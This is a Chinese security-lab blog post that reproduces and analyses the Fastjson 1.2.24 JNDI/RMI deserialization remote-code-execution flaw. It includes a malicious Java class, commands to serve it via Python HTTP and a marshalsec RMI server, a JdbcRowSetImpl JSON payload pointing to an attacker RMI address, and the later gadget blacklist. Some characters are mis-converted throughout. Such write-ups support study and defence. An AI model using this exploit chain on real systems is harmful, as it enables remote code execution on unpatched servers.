出品|MS08067实验室(www.ms08067.com)javascript
本文做者:爱吃芝士的小葵(Ms08067实验室追洞小组成员)
java
一、靶场搭建
二、漏洞复现
三、漏洞分析
四、漏洞修复
五、心得python
使用idea maven项目建立,在pom中导入fastjson的坐标。(由于本文复现1.2.24的rce,因此版本要小于1.2.24,本文采 取1.2.23版本坐标)。
导入以后在右边点击maven图标导入。web
**坑点
其中环境有一个很是细小的点,能够说是个大坑,我调试了好久,以前的报错以下:
一、rmi+jndi环境:java.sql.SQLException: JdbcRowSet (链接) JNDI 没法链接 二、ldap+jndi环境:java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource
后来才发现是java的环境没有配置对,虽然都是jdk1.8,可是复现的环境采用1.8.0_102,以前的环境1.8.0_221没有复现成 功。由于JDK 8u113 以后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、 com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不容许RMI、cosnaming从远程的 Codebase加载Reference工厂类。spring
这边简单弹个计算器,也能够反弹shellsql
package com.v1rus; public class Calc{ public Calc(){ try{ Runtime.getRuntime().exec("calc"); }catch (Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Calc c = new Calc(); } }
命令行输入 javac Calc.java ,在当前文件夹下会生成Calc.class文件。shell
能够简单的用python3在当前Calc.class文件的文件夹下起http服务apache
python -m http.server 8088
使用marshalsec起rmi服务json
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.156:8088/#Calc" 8
fastjson在解析json的过程当中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。经过查找代码中相关的方法,便可构造出一些恶意利用链。
首先放上服务端使用的poc demo:tomcat
package com.v1rus; import com.alibaba.fastjson.JSON; public class Test { public static void main(String[] args) { String v1rus = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.249.15 JSON.parseObject(v1rus); } }
咱们的poc中用到的类是
com.sun.rowset.JdbcRowSetImpl
Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:131) at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.j at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:722) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:568) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:877) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown So at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:183) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at com.v1rus.Test.main(Test.java:8)
咱们直接进入 com.alibaba.fastjson.JSON 这个类中,并在parseObject函数上面下断点。
最后会跟到这个方法上。经过DefaultJSONParser类去parse咱们传入的字符串
跟进74行的parse代码。这里是根据JSONLexer的token为12到case的判断,进入关键函数
根据lexer.token()方法返回token的值,这里是12,因此进入else进行处理。
而后进入while(true)循环,第一步骤就是lexer.skipWhitespace,跟进去查看方法
于是返回的是 “ 号,因此能够进入if判断,根据变量名咱们也能够得知,scanSymbol这个方法返回的是key关键字。
(key、value对)
你们能够简单的跟进
com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol
这个函数走一下流程,最后会经过双引号的闭合判断来返回value字符串,这边返回的就是第一个字符串 @type
继续往下走到了这里,将key和全局静态常量做比较看是否为 @type ,若是是的话,进入if判断。
跟进 com.alibaba.fastjson.util#loadClass ,这里面并无作什么黑名单的过滤就讲这个类对象返回了。
上面那行代码,跟进分析
判断是类名返回
跟进方法分析返回
FastJsonASMDeserializer_1_JdbcRowSetImpl
再跟进deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址
一路跟到parseField方法
调用smartMatch方法来处理咱们传入的key值,跟进这个方法
以后回跟到
((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);这行代码,进入FieldDeserializer的parseField方法。进行一些Field的赋值操做。
再跟进
com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue方法,根据fieldInfo.fieldClass判断该类,最后进入箭头指向的else体,经过反射调用setAutoCommit关键方法。嘿嘿,接下来不是随心所欲。
这个jdk自带的类必需要先得到一个connection,若是没有的话先执行connect方法。咱们进去看看里面有什么。
由于咱们在前面经过setDataSourceName()方法设置了dataSourceName的值,因此进入esle if经过lookup方法去获取dataSource。而rmi(java远程方法调用机制)的主角就是这个方法,若是lookup里面传入的参数可控,就能够指向咱们所构造的rmi服务,那么就有很大的可能被攻击。(InitialContext 是一个实现了Context接口的类。使用这个类做为JNDI命名服务的入口点。)
这里也简单提一句JNDI和RMI关系,以便更好理解。简单来讲,JNDI (Java Naming and Directory Interface)是一组应用程序接口。JNDI底层支持RMI远程对象,RMI注册的服务能够经过JNDI接口来访问和调用。JNDI接口在初始化时,能够将RMI URL做为参数传入,而JNDI注入就出如今客户端的lookup()函数中。
用referenceWrapper包装reference类,注册在jndi的rmi服务实现上,这里rmi服务器绑定的类并无实现相应的接口,而是经过Refernces类来绑定过一个外部的远程对象。(这里先说起一下,后面会详细说明)一路跟进到这个最终的方法,该方法执行完就会加载完远程类实现rce。能够看到这里的var3是RegistryContext类,调用lookup函数。
跟进去时候传入的这个参数是Calc也就是/后面的请求文件,不为空以后调用this.registry(RegistryImpl_Stub,stub和skel的概念是相对而言的,并不仅存在于服务端和客户端之间)的lookup方法,是咱们可控的,因此就形成了JNDI注入漏洞。
继续跟进marshelsec可能会出现这样的错误:
java.net.SocketTimeoutException: Read timed out at java.net.SocketInputStream.socketRead0(Native Method) at java.net.SocketInputStream.socketRead(Unknown Source) at java.net.SocketInputStream.read(Unknown Source) at java.net.SocketInputStream.read(Unknown Source) at java.io.BufferedInputStream.fill(Unknown Source) at java.io.BufferedInputStream.read(Unknown Source) at java.io.FilterInputStream.read(Unknown Source) at marshalsec.jndi.RMIRefServer.doMessage(RMIRefServer.java:221) at marshalsec.jndi.RMIRefServer.run(RMIRefServer.java:171) at marshalsec.jndi.RMIRefServer.main(RMIRefServer.java:117)
缘由是网络读取数据超时,咱们跟进方法的同时加长的数据传输的时间,等待超时抛出错误。至此利用的部分已经结束。
由于JNDI注入中RMI服务器最终执行远程方法,可是目标服务器lookup()一个恶意的RMI服务地址,反而是目标服务器执行了。那么到底是什么缘由?
在JNDI服务中,RMI服务端除了直接绑定远程对象以外,还能够经过Reference类来绑定一个外部的远程对象(当前名称目录系统以外的对象)。绑定了Reference以后,服务端会先经过Referenceable.getReference()获取绑定对象的引用,而且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终经过factory类将reference转换为具体的对象实例。
简而言之,在Server绑定Reference时,这个恶意对象是不在Server上的,Reference指向某个地址,Client会去这个地址
取出对象并在Client实例化。
攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
从1.2.25开始对这个漏洞进行了修补,修补方式是会在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject方法中调用 com.alibaba.fastjson.parser.ParserConfig#checkAutoType来检查咱们传入的类是否是在黑名单中,也就是将TypeUtils.loadClass替换为checkAutoType()函数:
只有经过了白名单的校验才会调用loadClass。
可是这里同时使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不经过时才会进行黑名单判断,至关于白名单并无真正起到白名单的做用。咱们仍然能够进入后续的流程来进行绕过。
黑名单里面禁止了一些常见的反序列化漏洞利用链:
bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
一、 Fastjson主要仍是利用了autotype功能实现"@type"字段指定反序列化的Class类型,因此尽可能关闭autotype就没有问题。虽然Fastjson在1.2.24以后实现了一套黑名单,但仍是存在被绕过风险。
二、 rmi在fastjson中的利用只是jndi的一种手段,还有ldap等。是在rmi服务器上绑定reference对象,与rmi自己的反序列话不是颇有关系。它将从攻击者控制的服务器获取工厂类,而后实例化工厂以返回 JNDI所引用的对象的新实例。
转载请联系做者并注明出处!
Ms08067安全实验室专一于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。
团队公众号按期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于作一个实用的干货分享型公众号。
官方网站:https://www.ms08067.com/
扫描下方二维码加入实验室VIP社区
加入后邀请加入内部VIP群,内部微信群永久有效!